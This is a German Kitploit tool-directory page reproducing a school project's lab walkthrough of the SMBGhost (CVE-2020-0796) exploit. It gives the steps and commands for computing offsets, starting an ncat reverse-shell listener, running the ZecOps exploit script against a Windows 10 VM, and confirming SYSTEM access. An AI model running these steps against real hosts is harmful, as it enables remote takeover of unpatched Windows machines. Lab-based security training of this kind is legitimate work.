Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-0796-SMBGhost-Exploit-Demo — Bildungsexploit als Proof-of-Concept für CVE-2020-0796 (SMBGhost), der eine Pre-Auth-RCE auf Windows SMBv3 demonstriert. Enthält eine Schritt-für-Schritt-Laboreinrichtung, Offset-Berechnung und Reverse-Shell-Ausführung für kontrolliertes Cybersicherheitstraining. | Kitploit
Tools/GitHubGitHub/tdevworks/cve-2020-0796-smbghost-exploit-demo
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRemote-Access-ToolPayload-EntwicklungBinary-ExploitationLabs & Praxis
GitHub
tdevworks/cve-2020-0796-smbghost-exploit-demo

CVE-2020-0796-SMBGhost-Exploit-Demo

Bildungsexploit als Proof-of-Concept für CVE-2020-0796 (SMBGhost), der eine Pre-Auth-RCE auf Windows SMBv3 demonstriert. Enthält eine Schritt-für-Schritt-Laboreinrichtung, Offset-Berechnung und Reverse-Shell-Ausführung für kontrolliertes Cybersicherheitstraining.

Repository anzeigen
35vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-0796 Exploit Demo (SMBGhost)

Dieses Projekt demonstriert einen Proof-of-Concept (PoC)-Exploit für CVE-2020-0796, auch bekannt als SMBGhost – eine kritische Pre-Auth-RCE-Schwachstelle, die Windows 10- und Windows Server-Systeme mit SMBv3 betrifft. Dies wurde im Rahmen eines Schulprojekts zur Cybersicherheit entwickelt. Die gesamte Anerkennung für den Exploit-Code gilt ZecOps. Ich habe ihn nur für Bildungszwecke verwendet und angepasst, um die Ausnutzung von CVE-2020-0796 in einer kontrollierten Laborumgebung zu demonstrieren.

Voraussetzungen für die Demo

Um diese Demonstration nachzustellen, ist folgende Einrichtung erforderlich:

Angreifer-Maschine

  • VirtualBox (mit NATNetwork für VM-Vernetzung)
  • Windows 10 (beliebige aktuelle Version)
  • Python 3.x (zum System-PATH hinzugefügt)
  • Netcat (im Nmap enthalten oder separat installiert)
  • Exploit-Skript vom GitHub PoC:
    SMBleedingGhost.py von ZecOps

Ziel-Maschine

  • VirtualBox (gleiche NATNetwork-Konfiguration)
  • Windows 10 Version 1903, Release 19H1
    Build 18362.356 – 2019.09, Home oder Pro Edition (x64)
  • Windows-Firewall deaktiviert (um Zugriff auf Port 445 zu ermöglichen)
  • Offset-Berechnungsskript vom GitHub PoC:
    calc_target_offsets.bat von ZecOps
  • Demonstration: Schritt-für-Schritt-Exploit

    Schritt 1: IP-Adressen beider VMs ermitteln

    1. Öffnen Sie die Eingabeaufforderung auf beiden virtuellen Maschinen (Angreifer und Ziel).

    2. Führen Sie auf jeder Maschine den folgenden Befehl aus:

      root@kitploit:~
      ipconfig
      

    Screenshot 2025-05-16 172329

    1. Notieren Sie sich die IP-Adressen der VMs – Sie werden sie in den späteren Schritten verwenden.

    Schritt 2: Offsets auf der Ziel-VM berechnen

    1. Navigieren Sie auf der Ziel-VM zum Ordner CVE-2020-0796-RCE-POC-master.
    2. Doppelklicken Sie, um das Skript calc_target_offsets.bat auszuführen.
    • Dies erzeugt die für den Exploit erforderlichen Speicher-Offsets.
    • Lassen Sie das Fenster geöffnet und notieren Sie die angezeigten Werte – Sie werden sie im nächsten Schritt verwenden.

    Screenshot 2025-05-16 172350


    Schritt 3: Exploit-Skript auf der Angreifer-VM aktualisieren

    1. Öffnen Sie auf der Angreifer-VM denselben Ordner CVE-2020-0796-RCE-POC-master.
    2. Klicken Sie mit der rechten Maustaste auf SMBleedingGhost.py und öffnen Sie es mit Notepad.
    3. Scrollen Sie in der Datei SMBleedingGhost.py nach unten und suchen Sie den Abschnitt, der mit OFFSETS = { beginnt.
    4. Ersetzen Sie die vorhandenen Offset-Werte durch diejenigen, die Sie von der Ziel-VM erhalten haben.
    5. Speichern Sie die Datei nach der Bearbeitung.
    6. Sie können nun das Offset-Fenster auf der Ziel-VM schließen.

    Screenshot 2025-05-16 172403


    Schritt 4: Netcat-Listener auf der Angreifer-VM starten

    Öffnen Sie eine neue Eingabeaufforderung und führen Sie Folgendes aus:

    root@kitploit:~
    ncat -lvp 4321
    
    • Dies richtet einen Listener auf Port 4321 ein, um nach erfolgreichem Exploit eine Reverse-Shell von der Ziel-VM zu empfangen.
    • Sie können die Portnummer bei Bedarf ändern.

    Screenshot 2025-05-16 172419


    Schritt 5: Exploit von der Angreifer-VM ausführen

    1. Öffnen Sie eine weitere Eingabeaufforderung und navigieren Sie zum PoC-Verzeichnis (ich habe meins auf dem Desktop gespeichert):
    root@kitploit:~
    cd Desktop
    cd CVE-2020-0796-RCE-POC-master
    dir
    
    1. Führen Sie den Exploit mit den entsprechenden IPs und dem Port aus:
    root@kitploit:~
    python SMBleedingGhost.py <ziel_ip> <angreifer_ip> <port>
    

    Screenshot 2025-05-16 172450

    Beispiel aus dieser Demo:

    root@kitploit:~
    python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
    
    • 192.168.18.61: IP der Ziel-VM
    • 192.168.18.62: IP der Angreifer-VM
    • 4321: Im Netcat-Listener verwendeter Port

    Ergebnis der Ausnutzung

    Bei Erfolg zeigt das Netcat-Fenster Folgendes an:

    root@kitploit:~
    Microsoft Windows [Version 10.0.18362.356]
    (c) 2019 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>
    

    Dies bestätigt:

    • Die Ziel-VM wurde kompromittiert
    • Die Angreifer-VM hat jetzt Systemrechte

    Sie können den Zugriff überprüfen, indem Sie Folgendes ausführen:

    root@kitploit:~
    whoami
    

    Dies ergibt:

    root@kitploit:~
    whoami
    nt authority\system
    

    Das bedeutet, dass die Angreifer-VM jetzt Systemrechte auf der Ziel-VM besitzt.

    Screenshot 2025-05-16 172512

    Sie können auch Folgendes ausführen:

    root@kitploit:~
    ipconfig
    

    Um zu überprüfen, dass Sie mit dem Netzwerk der Ziel-VM interagieren.

    Screenshot 2025-05-16 172550

    Hinweis: Die Ziel-VM kann nach der Ausnutzung abstürzen. Falls dies passiert, können Sie sie neu starten. Die Angreifer-Sitzung muss nach einem Neustart neu hergestellt werden.

    Danksagungen

    Diese Demonstration basiert auf dem öffentlich zugänglichen Proof-of-Concept, der von ZecOps entwickelt wurde.

    Die gesamte Anerkennung für den Exploit-Code gilt ZecOps. Ich habe ihn nur für Bildungszwecke verwendet und angepasst, um die Ausnutzung von CVE-2020-0796 in einer kontrollierten Laborumgebung zu demonstrieren.

    Referenzen

    • CVE-2020-0796 Remote Code Execution POC

    Autor

    @tdevworks

    Haftungsausschluss

    Dieses Repository dient ausschließlich Bildungszwecken.

    Alle gezeigten Tools, Skripte und Techniken sollen helfen, Cybersicherheits-Schwachstellen in einer kontrollierten Laborumgebung zu verstehen. Versuchen Sie nicht, die bereitgestellten Materialien auf Systemen oder Netzwerken zu verwenden, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

    Jeglicher Missbrauch der Software liegt nicht in der Verantwortung des Autors.

    Tool herunterladen